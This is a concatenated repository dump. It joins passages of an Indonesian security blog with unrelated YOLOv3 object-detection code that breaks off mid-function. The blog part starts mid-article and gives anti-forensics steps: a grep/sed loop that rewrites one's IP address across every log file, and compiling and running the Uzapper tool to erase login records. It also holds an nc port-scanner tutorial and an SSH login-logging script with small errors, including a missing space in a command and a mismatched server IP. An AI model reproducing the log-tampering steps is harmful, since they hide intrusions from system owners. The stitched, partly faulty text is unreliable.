IP, kita jadikan script seperti di bawah ini: ``` for LOGFILE in $(grep -Rn 'YOUR IP' / 2> /dev/null | awk -F ':' '{print $1}' | sort -V | uniq) do sed 's/YOUR IP/FAKE IP/g' $LOGFILE done ``` # Stealth (from WTMP, UTMP, and Lastlog) - WTMP = mencatat setiap ada yang login/logoff - UTMP = mencatat siapa yang sedang melakukan akses saat ini - Lastlog = mencatat source address user yang melakukan login terakhir **Uzapper Tool** Tool ini digunakan untuk menghapus log umum pada sistem operasi Solaris, SunOS, IRIX, Linux, FreeBSD. Kalian dapat unduh pada link di bawah ini: - <https://packetstormsecurity.com/files/16378/uzapper.c.html> Untuk melihat siapa yang sedang masuk dan melihat apa yang sedang mereka lakukan (berdasarkan sesi), kalian dapat menggunakan perintah `w`. ``` root@linux:~# w 1:23am up 6:21, 2 users, load average: 0.00, 0.01, 0.02 User tty FROM login@ idle JCPU PCPU what root pts/1 :0 2:21am 1 22:39 1.48s w user1 pts/2 ??? 2:52am 1 -sh ``` Compile Uzapper: ``` root@linux:~# gcc uzapper.c -o uzapper ``` Jalankan Uzapper: ``` root@linux:~# ./uzapper user1 ``` Periksa kembali sesi yang aktif: ``` root@linux:~# w 1:23am up 6:21, 2 users, load average: 0.00, 0.01, 0.02 User tty FROM login@ idle JCPU PCPU what root pts/1 :0 2:21am 1 22:39 1.48s w ``` **user1** hilang, karena sudah di-wipe menggunakan Uzapper. # Done! Artikel tentang Covering Track ini hanya untuk pelajaran saja, pasti banyak yang bertanya-tanya: ``` Kenapa gak pake VPN aja? Biar gak ribet! ``` Silakan dijawab sendiri :) Terima kasih. Semoga artikel yang membahas tentang `Covering Track` akan terus berlanjut. ``` draft-abusing-forgot-password-functionality-in-a-web.md ```# Abusing Forgot Password Functionality in a Web # I. URL Token ### Host Header Injection ### Weak Token # II. OTP / PIN ### Brute-Force PIN ### HTTP Response Manipulation ``` 2020-2-15-BASH-Script-for-Pentest-Loop-dan-Grep-untuk-Footprinting.md ```--- layout: post title: BASH for Pentest - Loop dan Grep untuk Footprinting categories: [Shell Script, Pentest] author: Novran Faathir --- Pada dasarnya tool-tool untuk kegiatan Red Teaming sudah sangat banyak, namun disini kita akan kembali ke "old school" lagi, dengan tujuan supaya lebih asik untuk belajar Shell Scripting. Mungkin artikel tentang "Explore Your BASH for Pentest" akan terus berlanjut dan pada kali ini kita akan membahas bagian awal dari Hacking Anatomy, yaitu: Footprinting. # Footprinting Footprinting adalah tahap dimana "yang berperan sebagai Attacker" akan berusaha mencari informasi mengenai target sebanyak mungkin. **Informasi apa saja yang akan dicari:** - Port - Directory/Endpoint - Application dan versi yang digunakan - dan lain-lain **Apa yang kita gunakan untuk Port Scanning?** **NMAP?** ``` Tentu saja bukan! Kalau ada yang susah, kenapa harus yang mudah? ``` Kita akan menggunakan `nc`, ditambah looping (for) dan word filtering (grep). # "nc" command Pertama-tama yang harus kita ketahui yaitu "kondisi". Kondisi bilamana port terbuka: ``` root@linux:~# nc 10.10.10.10 22 -v Connection to 10.10.10.10 22 port [tcp/ssh] succeeded! SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 ``` Kondisi bilamana port tidak terbuka: ``` root@linux:~# nc 10.10.10.10 6969 -v nc: connect to 10.10.10.10 port 6969 (tcp) failed: Connection refused ``` Perbedaannya yaitu terdapat kata "succeeded!" bila terbuka dan kata "Connection refused" bila tertutup. ``` Note: nc [TARGET] [PORT] -v - 10.10.10.10 = adalah ip target - 22/6969 = adalah port - -v = adalah verbose ``` # Let's "grep" it! Kita akan coba `grep` yang "success" terlebih dahulu: ``` root@linux:~# nc 10.10.10.10 22 -v | grep 'succeeded!' Connection to 10.10.10.10 22 port [tcp/ssh] succeeded! ``` Kemudian `grep` yang "refused" namun menggunakan kata "succeeded!" ``` root@linux:~# nc 10.10.10.10 6969 -v | grep 'succeeded!' nc: connect to 10.10.10.10 port 6969 (tcp) failed: Connection refused ``` **Loh kok?!** Seharusnya yang kita dapatkan itu NULL alias kosong bukan `nc: connect to 10.10.10.10 port 6969 (tcp) failed: Connection refused`. **How to Fix?** # stdout and stderr Saya tidak akan membahas "stdout dan stderr" secara detail, simplenya: - stdout (standard output) = Adalah sebuah output/pesan normal yang dikeluarkan oleh program - stderr (standard error) = Adalah sebuah output/pesan error yang dikeluarkan oleh program Pada dasarnya `grep` hanya dapat mengambil kata yang bentuknya "stdout". Seperti: ``` root@linux:~# echo "ngetest" | grep "ngetest" ngetest root@linux:~# echo "ngaco" | grep "ngetest" root@linux:~# ``` `grep` tidak dapat digunakan untuk output yang berbentuk "stderr". Seperti: ``` root@linux:~# ls ngasal | grep "ngetest" ls: cannot access 'ngasal': No such file or directory root@linux:~# ``` Padahal saya sudah melakukan filter untuk kata "ngetest" namun yang muncul adalah `ls: cannot access 'ngasal': No such file or directory`. **Lalu, bagaimana fixing command "nc" pada sebelumnya?** **Membuang "ERROR" ke /dev/null kah?** Dengan menggunakan redirection "2>", seperti: ``` root@linux:~# ls ngasal 2> /dev/null | grep "ngetest" root@linux:~# ``` Menurut saya itu hal yang baik, namun saya lebih menyarankan untuk: **Convert "stderr" menjadi "stdout"** Dengan menggunakan "2>&1", seperti: ``` root@linux:~# ls ngasal 2>&1 | grep "ngetest" root@linux:~# ls ngasal 2>&1 | grep "No such file" ls: cannot access 'ngasal': No such file or directory root@linux:~# ``` Karena selain kita dapat menghilangkan pesan error, kita juga dapat `grep` pesan error tersebut. # Back to "nc" and "grep" it! Ok! kita sudah mendapatkan solusi untuk mengambil dan menghilangkan pesan error menggunakan "2>&1". ``` root@linux:~# nc 10.10.10.10 6969 -v 2>&1 | grep "succeeded!" root@linux:~# ``` Yeay! sudah tidak keluar pesan errornya. Sekarang kita coba kembali dengan kondisi port yang terbuka. ``` root@linux:~# nc 10.10.10.10 22 -v 2>&1 | grep "succeeded!" Connection to 10.10.10.10 22 port [tcp/ssh] succeeded! ... ... ``` Pasti command "nc"-nya menyangkut ya? (**F to pay respect :p**) Pada "nc" sendiri terdapat fitur timeout menggunakan parameter "-w", kita tambahkan supaya tidak menyangkut. ``` root@linux:~# nc -w 3 10.10.10.10 22 -v 2>&1 | grep "succeeded!" Connection to 10.10.10.10 22 port [tcp/ssh] succeeded! root@linux:~# ``` Note: **-w 3** adalah timeout pada "nc", disini kita set 3 detik saja. # Looping! Loop adalah suatu bentuk kegiatan pada pemrograman yaitu mengulang suatu statement sampai batas yang diinginkan. Kita langsung saja, buat file dengan nama "portscan.sh", kemudian isi script di bawah ini: ``` #!/bin/bash for PORT in {1..65535} do nc -w 3 10.10.10.10 ${PORT} -v 2>&1 | grep "succeeded!" done ``` Penjelasan: - **#!/bin/bash** - adalah Shebang, untuk detailnya kalian dapat baca artikel yang dibuat oleh Mas **Edo Maland** <http://infosec.zerobyte.id/Bash-dan-Sh-Mereka-itu-Berbeda> (silakan baca pada bagian #2). - **for PORT in {1..65535}** - Pada statement ini kita akan melakukan looping 1 sampai 65535 (karena 65535 adalah batas maksimal port). - **do & done** - "do" untuk awalan looping pada BASH script dan "done" adalah bagian penutupnya. Kemudian jalankan scriptnya: ``` root@linux:~# bash portscan.sh Connection to 10.10.10.10 22 port [tcp/ssh] succeeded! Connection to 10.10.10.10 80 port [tcp/http] succeeded! Connection to 10.10.10.10 5432 port [tcp/postgresql] succeeded! root@linux:~# ``` Seperti itulah pembahasan kali ini, menurut saya sudah cukup dan terima kasih sudah membaca artike ini, semoga artikel ini akan terus berlanjut. ``` 2020-3-11-mencatat-login-ssh-pada-linux-server.md ```--- layout: post title: Mencatat login SSH pada Linux Server categories: [Auditing] author: Rafshanzani Suhada --- Bisakah kita dapat mengetahui siapa saja yang masuk kedalam Server menggunakan SSH Service? tentu saja bisa, kita hanya perlu mencari tahu lokasi file log pada server tersebut. Umumnya lokasi file log pada **Ubuntu** berada di `/var/log/auth.log` dan **Centos** berada di `/var/log/secure` **Ubuntu** ``` grep 'sshd' /var/log/auth.log ``` **Centos** ``` grep 'sshd'/var/log/secure ``` **Output** ``` [...] Feb 17 08:26:01 Suhada sshd[16059]: Accepted password for root from xx.xxx.x.xxx port xxx ssh2 Feb 17 08:26:01 Suhada sshd[16059]: pam_unix(sshd:session): session opened for user root by (uid=0) ``` Namun disini kita akan setting supaya setiap user yang login SSH akan tercatat pada Server. **Oke let's go!** ![Topologi Sederhana](https://i.ibb.co/zxPm6sB/Whats-App-Image-2020-02-21-at-13-45-44.jpg "Topologi Sederhana") Di atas adalah contoh topologi sederhana yang akan kita bahas. ``` SERVER : 172.16.1.2/25 TESTING USER : 172.16.1.121/25 USER 1 : 172.16.1.120/25 == Informasi SSH Users == # TESTING USER # USER : usertesting PASS : passwordnyatesting ``` **Note:** Pastikan SSH (Server) sudah terinstall pada Server - Ubuntu ``` $ sudo apt-get install openssh-server ``` - Centos ``` $ yum install openssh-server ``` # Sisi Client Lakukan ssh menggunakan **TESTING USER** ``` $ ssh usertesting@172.16.1.2 usertesting@172.16.1.2's password: ********** ``` Untuk melakukan pengecekan SSH Connection, kalian dapat menggunakan variable `$SSH_CONNECTION`. - **Contoh** ``` $ echo $SSH_CONNECTION 172.16.1.121 54088 172.16.1.2 22 ``` - **Penjelasan** * `172.16.1.121` = IP Address User (TESTING USER) * `54088` = Port SSH yang dibuka pada sisi Client untuk melakukan remote ke Server (akan terbuka dengan sendirinya secara random) * `202.89.117.69` = IP Address Server * `22` = Default Port SSH pada Server Untuk kebutuhan Logging, kita harus parsing terlebih dahulu, supaya dapat mengambil output dari `IP Address User`, `Port SSH Server`, dan `IP Address Server` saja. ``` Bagimana caranya ? (¬‿¬) ``` ![Berfikir dulu](https://i.kym-cdn.com/entries/icons/mobile/000/032/100/cover4.jpg "Berfikir dulu") ## Perintah untuk Parsing `$SSH_CONNECTION` - **Mengambil IP Address User** ``` $ echo $SSH_CONNECTION | cut -d ' ' -f 1 # CARA PERTAMA DENGAN CUT 172.16.1.121 $ echo $SSH_CONNECTION | awk '{ print $1}' # CARA KEDUA DENGAN AWK 172.16.1.121 ``` - **Mengambil Default Port SSH Server** ``` $ echo $SSH_CONNECTION | cut -d ' ' -f 4 22 $ echo $SSH_CONNECTION | awk '{ print $4}' 22 ``` - **Mengambil IP Address Server** ``` $ echo $SSH_CONNECTION | cut -d ' ' -f 3 172.16.1.2 $ echo $SSH_CONNECTION | awk '{ print $3}' 172.16.1.2 ``` Jika sudah mendapatkan informasi tersebut lalu bagaimana cara agar setiap users yang login, Server akan mencatat aktifitas tersebut pada kita? Oke akan saya jelaskan terlebih dahulu. # Sisi Server Pertama yang dilakukan tentu saja masuk kedalam server 😂. Buatlah file `ssh-login.sh` ( filename terserah diisi dengan apa saja. ) dan edit file tersebut seperti script dibawah ini & pindahkan file ke `/etc/profile.d/`. ``` root@zerobyteid:~# cat ssh-login.sh #!/bin/bash # SCRIPT UNTUK MENCATAT USER YANG LOGIN IP_ADDRESS_USER=$(echo $SSH_CONNECTION | cut -d ' ' -f 1) PORT_SSH=$(echo $SSH_CONNECTION | awk '{ print $4}') IP_ADDRESS_SERVER=$(echo $SSH_CONNECTION | cut -d ' ' -f 3) # VARIABLE UNTUK TIMESTAMP TANGGAL=$(date "+%Y-%m-%d %H:%M:%S") # PESAN echo "User ${USER} telah masuk kedalam server (${IP_ADDRESS_SERVER}) menggunakan IP ADDRESS ${IP_ADDRESS_USER} PORT ${PORT_SSH} Pada ${TANGGAL}" >> /tmp/user-login-ssh.txt echo "------------------------------" >> /tmp/user-login-ssh.txt root@zerobyteid:~# mv ssh-login.sh /etc/profile.d/ root@zerobyteid:~# chmod +x /etc/profile.d/ssh-login.sh ``` **Note:** /tmp/user-login-ssh.txt => Lokasi Log File yang akan digunakan untuk mencatat setiap user masuk kedalam Server menggunakan SSH # Testing Untuk melakukan uji coba lakukan SSH dari `usertesting` ke `Server`. - **User Testing** ``` $ ssh usertesting@172.16.1.2 root@172.16.1.2's password: ********** ``` Bilamana user sudah melakukan SSH ke Server, maka setelah itu lakukan pengecekan pada Server dan pastikan apakah Script tersebut sudah mencatat User yang Login. - **Server** ``` root@zerobyteid:~# cat /tmp/user-login-ssh.txt User usertesting telah masuk kedalam server (172.16.1.2) menggunakan IP ADDRESS 172.16.1.121 PORT 22 Pada 09 Mar 2020 16:40 ------------------------------ ``` Maka ketika `user1` melakukan login ke server melalui SSH maka Script akan tetap mencatat nya ``` root@zerobyteid:~# cat /tmp/user-login-ssh.txt User usertesting telah masuk kedalam server (172.16.1.2) menggunakan IP ADDRESS 172.16.1.121 PORT 22 Pada 09 Mar 2020 16:40 ------------------------------ User usersatu telah masuk kedalam server (172.16.1.2) menggunakan IP ADDRESS 172.16.1.120 PORT 22 Pada 10 Mar 2020 10:04 ------------------------------ ``` ```
zerogyro/jerry_yolo
zerogyro/jerry_yolo yolo_utils.py ```import tensorflow as tf import config.config_param as cfg from nets.yolo_head import yolo_head from nets.yolov3 import yolo_body maxboxes=20 score_threshold = 0.05 def parse_yolov3_output(yolo_outputs,image_shape): print('image_shape:',image_shape) boxes = [] box_scores = [] # get_boxes_and_scores(yolo_outputs[0], cfg.anchors[cfg.anchor_masks[0]],image_shape) for i in range(3): mask_index = cfg.anchor_masks[i] _boxes, _boxes_scores = get_boxes_and_scores(yolo_outputs[i], cfg.anchors[mask_index],image_shape) boxes.append(_boxes) box_scores.append(_boxes_scores) # print('_boxes.shape', _boxes.shape) #print('_boxes_scores.shape',_boxes_scores.shape) boxes = tf.concat(boxes,axis=0) box_scores = tf.concat(box_scores,axis=0) # print(boxes.shape) # print(box_scores.shape) # score_threshold mask = box_scores >= score_threshold max_boxes_tensor = tf.constant(maxboxes,dtype=tf.int32) boxes_ = [] scores_ = [] classes_ = [] #need nms for c in range(cfg.num_classes): # get box_scores >= threshold bounding box and scores #print(c) class_box = tf.boolean_mask(boxes, mask[:,c]) class_box_score = tf.boolean_mask(box_scores[:,c],mask[:,c]) #print(class_box_score) # print(class_box.shape) # print(class_box_score.shape) nms_index = tf.image.non_max_suppression(class_box, class_box_score, max_boxes_tensor, iou_threshold=cfg.iou_threshold) class_box = tf.gather(class_box, nms_index) class_box_score = tf.gather(class_box_score, nms_index) classes = tf.ones_like(class_box_score,'int32')*c boxes_.append(class_box) scores_.append(class_box_score) classes_.append(classes) boxes_ = tf.concat(boxes_, axis=0) scores_ = tf.concat(scores_, axis=0) classes_ = tf.concat(classes_, axis=0) return boxes_ , scores_ , classes_ def get_boxes_and_scores(feats, anchors , image_shape): box_xy, box_wh, box_confidence, box_class_prob = yolo_head(feats, anchors, calc_loss=False) boxes = correct_boxes(box_xy,box_wh,image_shape) # 1,13,13,3,4 -> 507,4 boxes = tf.reshape(boxes,[-1,4]) # define box_score # 1,13,13,3,20 -> 507,20 box_scores = box_confidence * box_class_prob box_scores = tf.reshape(box_scores, [-1, cfg.num_classes]) return boxes, box_scores def correct_boxes(box_xy, box_wh, image_shape): # inverse for grid box_yx = box_xy[..., ::-1] box_hw = box_wh[..., ::-1] input_shape = tf.cast(cfg.input_shape,tf.float32) image_shape = tf.cast(image_shape,tf.float32) # change the shape of bounding box back to normal size for original image #tf.min(input_shape/image_shape) new_shape = tf.round(image_shape * tf.reduce_min(input_shape / image_shape)) offset = (input_shape - new_shape) / 2. / input_shape scale = input_shape / new_shape box_yx = (box_yx-offset) * scale box_hw *= scale box_mins = box_yx - (box_hw / 2.) box_maxes = box_yx + (box_hw / 2.) boxes = tf.concat([ box_mins[...,0:1], # y_min box_mins[...,1:2], # x_min box_maxes[...,0:1], # y_max box_maxes[...,1:2], # x_max ], axis=-1) # 1,13,13,3,4 a = tf.concat([image_shape,image_shape],axis = -1) # boxes *= tf.concat([image_shape,image_shape],axis = -1) return boxes``` README.md ```jerry_yolo: voc_annotation: convert xml file Done data_generator: generate data from data path and process bounding box inthree anchor box layers for features needed: encapsulation yolo_net: --------yolo_v3: yolov3 body from darknet53 Done --------yolo_head: yolov3 head that process output from body into predict center point and predict width and height Done --------yolo_loss: loss function from y_predict to y_true needed: update loss function after new y_true from data_generator Others_that needed to be done: predict funciton video demo data augmentation Lidar2cam: project point cloud data into image and color point cloud data Done ``` show_img.py ```from PIL import Image, ImageFont, ImageDraw import config.config_param as cfg import numpy as np import colorsys img_path = "/home/jerry/PycharmProjects/yolov3demo/VOC2012/JPEGImages/2011_005517.jpg" real_bbox = [[181, 186, 271, 404], [140, 240, 206, 385], [48, 182, 138, 395], [124, 130, 212, 290]] pred_bbox = [[99.02229, 89.78006, 331.77008, 242.32076], [91.62183, 65.99755, 414.151, 221.7074], [92.96844, 107.00315, 409.45706, 231.34407], [119.188484, 83.117386, 439.61285, 258.13647], [239.10184, 137.38847, 397.86993, 195.5335], [251.79779, 150.64944, 382.277, 204.6709]] real_classes = [14, 14, 14, 14] pred_classes = [14,14,14,14,14,14] def draw_orig(image): font = ImageFont.load_default() # print(image.size) thickness = (image.size[0] + image.size[1]) // 300 for i, c in enumerate(pred_classes): classes = cfg.class_names[c] box = pred_bbox[i] top, left, bottom, right = box draw = ImageDraw.Draw(image) draw.rectangle([top, left, bottom, right], width=thickness) # draw.rectangle([tuple(text_origin), tuple(text_origin + label_size)]) def draw_pred(image,pred_bbox,pred_classes): font = ImageFont.load_default() # print(image.size) thickness = (image.size[0] + image.size[1]) // 300 for i, c in enumerate(pred_classes): classes = cfg.class_names[c] box = pred_bbox[i] top, left, bottom, right = box draw = ImageDraw.Draw(image) draw.rectangle([left, top, right, bottom], width=thickness) # draw.rectangle([tuple(text_origin), tuple(text_origin + label_size)]) if __name__ == '__main__': # image = Image.open(img_path) # draw_pred(image) # image.show() hsv_tuples = [(x / 20, 1., 1.) for x in range(20)] print(hsv_tuples) colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples)) colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors)) print(colors) ``` yolo_head.py ```import tensorflow as tf import numpy as np import config.config_param as cfg anchors = cfg.anchors anchor_masks = cfg.anchor_masks def yolo_head(y_pred, anchors, calc_loss=False): """ yolo_head split raw prediction from yolo_body into x,y,w,h and bounding box then process with normalization and create grid of three sizes :param y_pred: raw prediction from yolo_body :param anchors: three different anchor box from cfg :param calc_loss: True when train, False when predict :return: bounding box from prediction and grid """ grid_size = tf.shape(y_pred)[1] # reshape_pred: (batch_size, grid, grid, anchors, (x, y, w, h, obj, ...classes)) box_xy, box_wh, confidence, class_probs = tf.split(y_pred, (2, 2, 1, cfg.num_classes), axis=-1) # i.e. box_xy.shape = batch_size, grid, grid, num_bbox, xy # (8, 13, 13, 3, 2) # (8, 26, 26, 3, 2) # (8, 52, 52, 3, 2) # sigmoid let result lie between [0,1] box_xy = tf.sigmoid(box_xy) confidence = tf.sigmoid(confidence) class_probs = tf.sigmoid(class_probs) # create grid grid_y = tf.tile(tf.reshape(tf.range(grid_size), [-1, 1, 1, 1]), [1, grid_size, 1, 1]) grid_x = tf.tile(tf.reshape(tf.range(grid_size), [1, -1, 1, 1]), [grid_size, 1, 1, 1]) grid = tf.concat([grid_x, grid_y], axis=-1) grid = tf.cast(grid, tf.float32) # -----------------------------normalization x,y,w,h------------------------------------------------------------- # cell is offset from the top left corner of the image by (c x , c y ) and the bounding box prior has width and # height p w , p h # bx = σ(tx ) + cx # by = σ(ty ) + cy # bw = pwe^tw # bh = phe^th # ---------------------------------------------------------------------------------------------------------------- box_xy = (box_xy + grid) / tf.cast(grid_size, tf.float32) box_wh = tf.exp(box_wh) * anchors / cfg.input_shape pred_xywh = tf.concat([box_xy, box_wh], axis=-1) # original xywh for loss if calc_loss: return pred_xywh, grid return box_xy, box_wh, confidence, class_probs ``` yolov3.py ```import tensorflow as tf from functools import reduce from tensorflow.keras.layers import Conv2D, Add, ZeroPadding2D, UpSampling2D, Concatenate from tensorflow.keras.layers import BatchNormalization from tensorflow.keras.regularizers import l2 from tensorflow.keras.layers import LeakyReLU from tensorflow.keras.models import Model import numpy as np import cv2 import config.config_param as cfg from tensorflow.keras import layers import matplotlib.pyplot as plt def compose(*funcs): if funcs: return reduce(lambda f, g: lambda *a, **kw: g(f(*a, **kw)), funcs) else: raise ValueError('Composition of empty sequence not supported.') def DarknetConv2D(*args, **kwargs): darknet_conv_kwargs = {'kernel_regularizer': l2(5e-4)} darknet_conv_kwargs['padding'] = 'valid' if kwargs.get('strides')==(2,2) else 'same' darknet_conv_kwargs.update(kwargs) return Conv2D(*args, **darknet_conv_kwargs) #---------------------------------------------------# # 卷积块 # DarknetConv2D + BatchNormalization + LeakyReLU #---------------------------------------------------# def DarknetConv2D_BN_Leaky(*args, **kwargs): no_bias_kwargs = {'use_bias': False} no_bias_kwargs.update(kwargs) return compose( DarknetConv2D(*args, **no_bias_kwargs), BatchNormalization(), LeakyReLU(alpha=0.1)) #---------------------------------------------------# # 卷积块 # DarknetConv2D + BatchNormalization + LeakyReLU #---------------------------------------------------# def resblock_body(x, num_filters, num_blocks): x = ZeroPadding2D(((1,0),(1,0)))(x) x = DarknetConv2D_BN_Leaky(num_filters, (3,3), strides=(2,2))(x) for i in range(num_blocks): y = DarknetConv2D_BN_Leaky(num_filters//2, (1,1))(x) y = DarknetConv2D_BN_Leaky(num_filters, (3,3))(y) x = Add()([x,y]) return x #---------------------------------------------------# # darknet53 的主体部分 #---------------------------------------------------# def darknet_body(x): x = DarknetConv2D_BN_Leaky(32, (3,3))(x) x = resblock_body(x, 64, 1) x = resblock_body(x, 128, 2) x = resblock_body(x, 256, 8) feat1 = x x = resblock_body(x, 512, 8) feat2 = x x = resblock_body(x, 1024, 4) feat3 = x return feat1,feat2,feat3 def make_last_layers(x, num_filters, out_filters): # 五次卷积 x = DarknetConv2D_BN_Leaky(num_filters, (1, 1))(x) x = DarknetConv2D_BN_Leaky(num_filters * 2, (3, 3))(x) x = DarknetConv2D_BN_Leaky(num_filters, (1, 1))(x) x = DarknetConv2D_BN_Leaky(num_filters * 2, (3, 3))(x) x = DarknetConv2D_BN_Leaky(num_filters, (1, 1))(x) # 将最后的通道数调整为outfilter y = DarknetConv2D_BN_Leaky(num_filters * 2, (3, 3))(x) y = DarknetConv2D(out_filters, (1, 1))(y) return x, y # ---------------------------------------------------# # 特征层->最后的输出 # ---------------------------------------------------# def yolo_body(inputs, num_anchors, num_classes): # 生成darknet53的主干模型 feat1, feat2, feat3 = darknet_body(inputs) darknet = Model(inputs, feat3) # 第一个特征层 # y1=(batch_size,13,13,3,85) x, y1 = make_last_layers(darknet.output, 512, num_anchors * (num_classes + 5)) x = compose( DarknetConv2D_BN_Leaky(256, (1, 1)), UpSampling2D(2))(x) x = Concatenate()([x, feat2]) # 第二个特征层 # y2=(batch_size,26,26,3,85) x, y2 = make_last_layers(x, 256, num_anchors * (num_classes + 5)) x = compose( DarknetConv2D_BN_Leaky(128, (1, 1)), UpSampling2D(2))(x) x = Concatenate()([x, feat1]) # 第三个特征层 # y3=(batch_size,52,52,3,85) x, y3 = make_last_layers(x, 128, num_anchors * (num_classes + 5)) # print(y1.shape) # print(y2.shape) # print(y3.shape) def yolo_feat_reshape(feat): """ 处理一下y_pred的数据,reshape,从b, 13, 13, 75 -> b, 13, 13, 3, 25 :param feat: :return: """ grid_size = tf.shape(feat)[1] reshape_feat = tf.reshape(feat, [-1, grid_size, grid_size, cfg.num_bbox, cfg.num_classes + 5]) return reshape_feat y1 = layers.Lambda(lambda x: yolo_feat_reshape(x), name='feat52')(y1) y2 = layers.Lambda(lambda x: yolo_feat_reshape(x), name='feat26')(y2) y3 = layers.Lambda(lambda x: yolo_feat_reshape(x), name='feat13')(y3) return Model(inputs, [y1, y2, y3]) def check(): input = tf.keras.layers.Input(shape=(416, 416, 3)) model = yolo_body(input, 3, 20) test_img = '/home/jerry/PycharmProjects/yolodemo/testpic/2007_000170.jpg' test_img = cv2.imread(test_img) dim = (416, 416) resized = cv2.resize(test_img, dim, interpolation=cv2.INTER_AREA) #print(resized.shape) resized = resized[np.newaxis, ...] test_pred = model.predict(resized) return test_pred test_pred = check() if __name__ == '__main__': # input = tf.keras.layers.Input(shape=(608, 608, 3)) # model = yolo_body(input,9,9) # model.summary() print(test_pred[0].shape) print(test_pred[1].shape) print(test_pred[2].shape) #tf.keras.utils.plot_model(model)``` datareader.py ```from PIL import Image import matplotlib.pyplot as plt import numpy as np import config.config_param as cfg check = '/home/jerry/PycharmProjects/yolov3demo/VOC2012/JPEGImages/2011_005920.jpg 10,40,267,323,14 200,21,312,259,14 303,18,422,323,14 23,10,99,62,14' check2 = '/home/jerry/PycharmProjects/yolov3demo/VOC2012/JPEGImages/2008_008051.jpg' max_boxes = 100 def read_and_split(): """ split train and valid data from data_path """ with open(cfg.data_path, "r") as f: files = f.readlines() split = int(cfg.valid_rate * len(files)) raw = files train = files[split:] valid = files[:split] return raw, train, valid def get_data(annotation_line): """ resize image data to input shape and correct bounding boxes to real boxes """ input_shape = cfg.input_shape line = annotation_line.split() image = Image.open(line[0]) box = np.array([list(map(int, xys.split(','))) for xys in line[1:]]) image_width, image_height = image.size input_width, input_height = input_shape scale = min(input_width / image_width, input_height / image_height) new_width = int(image_width * scale) new_height = int(image_height * scale) new_shape = (new_width, new_height) image = image.resize(new_shape) # add gray bar new_image = Image.new('RGB', input_shape, (128, 128, 128)) new_image.paste(image, ((input_width - new_width) // 2, (input_height - new_height) // 2)) image = np.asarray(new_image) / 255 dx = (input_width - new_width) / 2 dy = (input_height - new_height) / 2 # correct bbox coord (xmin,ymin xmax,ymax ---> corrected coordinate) box_data = np.zeros([max_boxes, 5], dtype='float32') if len(box) > max_boxes: box = box[:max_boxes] box[:, [0, 2]] = box[:, [0, 2]] * scale + dx box[:, [1, 3]] = box[:, [1, 3]] * scale + dy box_data[:len(box)] = box return image, box_data def process_true_boxes(box_data): """ transfer bounding box to feature layer: #xmin #ymin #xmax #ymax --> [(8, 13, 13, 3, 25), (8, 26, 26, 3, 25), (8, 52, 52, 3, 25)] missing: encapuslation for adjustment of net structure of detection """ input_shape = cfg.input_shape true_boxes = np.array(box_data, dtype='float32') # print(true_boxes) x_shape = np.array(input_shape, dtype='int32') # get center point and width and height boxes_xy = (true_boxes[..., 0:2] + true_boxes[..., 2:4]) // 2 boxes_wh = true_boxes[..., 2:4] - true_boxes[..., 0:2] # true box x y w h c after normalization # true box shape (8,100,5) true_boxes[..., 0:2] = boxes_xy / input_shape true_boxes[..., 2:4] = boxes_wh / input_shape # print(true_boxes) # Attention!!!!!!! # need to change when change structure of yolo body # 13,13 26,26 52,52 grid_shape = [x_shape // [32, 16, 8][i] for i in range(3)] # y_true shape [(8, 13, 13, 3, 25), (8, 26, 26, 3, 25), (8, 52, 52, 3, 25)] y_true = [np.zeros((cfg.batch_size, grid_shape[i][0], grid_shape[i][1], 3, 5 + 20), dtype='float32') for i in range(3)] # check shape # a = [(y_true[i].shape) for i in range(3)] # print(a) # anchors shape (1,9,2) cfg.anchors shape(9,2) anchors = np.expand_dims(cfg.anchors, 0) anchors_rightdown = cfg.anchors / 2. anchors_leftup = -anchors_rightdown # valid mask stores boolean from box_data i.e whether contains box valid_mask = box_data[..., 0] > 0 for b in range(cfg.batch_size): # get w h of every box in batch_size wh = boxes_wh[b, valid_mask[b]] # (_,1,2) wh = np.expand_dims(wh, -2) box_rightdown = wh / 2. box_leftup = -box_rightdown intersect_leftup = np.maximum(box_leftup, anchors_leftup) intersect_rightdown = np.minimum(box_rightdown, anchors_rightdown) intersect_wh = np.maximum(intersect_rightdown - intersect_leftup, 0.) intersect_area = intersect_wh[..., 0] * intersect_wh[..., 1] box_area = wh[..., 0] * wh[..., 1] anchor_area = cfg.anchors[..., 0] * cfg.anchors[..., 1] # calculate max iou iou = intersect_area / (box_area + anchor_area - intersect_area) # best_anchor: bounding box most closed anchor box of each image best_anchor = np.argmax(iou, axis=-1) for key, value in enumerate(best_anchor): # for each bounding box, check 3 layer of grid and add to y_true for n in range(cfg.num_bbox): if value in cfg.anchor_masks[n]: # i = x*13, j = y*13 sub pixel x i = np.floor(true_boxes[b, key, 0] * grid_shape[n][1]).astype('int32') j = np.floor(true_boxes[b, key, 1] * grid_shape[n][0]).astype('int32') k = cfg.anchor_masks[n].index(value) c = true_boxes[b, key, 4].astype('int32') y_true[n][b, j, i, k, 0:4] = true_boxes[b, key, 0:4] y_true[n][b, j, i, k, 4] = 1 # confidence 1 y_true[n][b, j, i, k, 5 + c] = 1 # one-hot encode return y_true def generate(mode): if mode == 'train': n = len(train_lines) else: n = len(valid_lines) i = 0 while True: image_data = [] box_data = [] for b in range(cfg.batch_size): if mode == 'train': #print(i) image, bbox = get_data(train_lines[i]) else: image, bbox = get_data(valid_lines[i]) image_data.append(image) box_data.append(bbox) i = (i + 1) % n image_data = np.array(image_data) box_data = np.array(box_data) box_data = process_true_boxes(box_data) yield image_data, box_data raw, train_lines, valid_lines = read_and_split() def debug(flag_p): if flag_p: #c = train_lines[15407] a = raw[7362 + 1712] print(7362 + 1712) print(a) else: i = 0 while True: print(i) image, bbox = get_data(train_lines[i]) i+=1 if __name__ == '__main__': # image, box = get_data(check) # # plt.imshow(image) # # plt.show() # #debug(flag_p=True) debug(flag_p=False) # a = len(train_lines) # b = len(valid_lines) # print(a,b) # print(raw[1835+1712]) # print(1835+1712) # train_data = generate() # train_data = list(train_data) # print(len(train_data)) # print((train_data[0])[0].shape) # print(train_data[0][1][0].shape) # print(train_data[0][1][1].shape) # print(train_data[0][1][2].shape) # # # y_true = process_true_boxes(a) # # print(y_true) ``` yolo_loss.py ```import config.config_param as cfg import numpy as np from nets.yolov3 import test_pred from nets.yolo_head import yolo_head import tensorflow as tf from data_annotation.datareader import * def box_iou(pred_box, true_box): """ calculate iou between pred_box and true_box :return: iou: tensor, shape=(i1, ..., iN, j) 